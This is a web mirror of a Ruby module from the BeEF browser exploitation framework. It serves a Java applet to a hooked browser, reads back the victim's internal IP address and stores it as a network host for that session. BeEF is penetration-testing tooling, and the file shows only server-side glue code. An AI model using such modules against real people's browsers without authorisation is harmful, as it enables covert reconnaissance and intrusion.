Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_internal_ip_java/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Get_internal_ip_java < BeEF::Core::Command
7
def pre_send
8
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_internal_ip_java/get_internal_ip.class', '/get_internal_ip', 'class')
9
end
10
11
# def self.options
12
# return [
13
# { 'name' => 'applet_name', 'description' => 'Applet Name', 'ui_label'=>'Number', 'value' =>'5551234','width' => '200px' },
14
# ]
15
# end
16
17
def post_execute
18
content = {}
19
content['Result'] = @datastore['result']
20
save content
21
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/get_internal_ip.class')
22
23
configuration = BeEF::Core::Configuration.instance
24
return unless configuration.get('beef.extension.network.enable') == true
25
26
session_id = @datastore['beefhook']
27
28
# save the network host
29
return unless @datastore['results'] =~ /^([\d.]+)$/
30
31
ip = Regexp.last_match(1)
32
if BeEF::Filters.is_valid_ip?(ip)
33
print_debug("Hooked browser has network interface #{ip}")
34
BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip)
35
end
36
end
37
end
38
39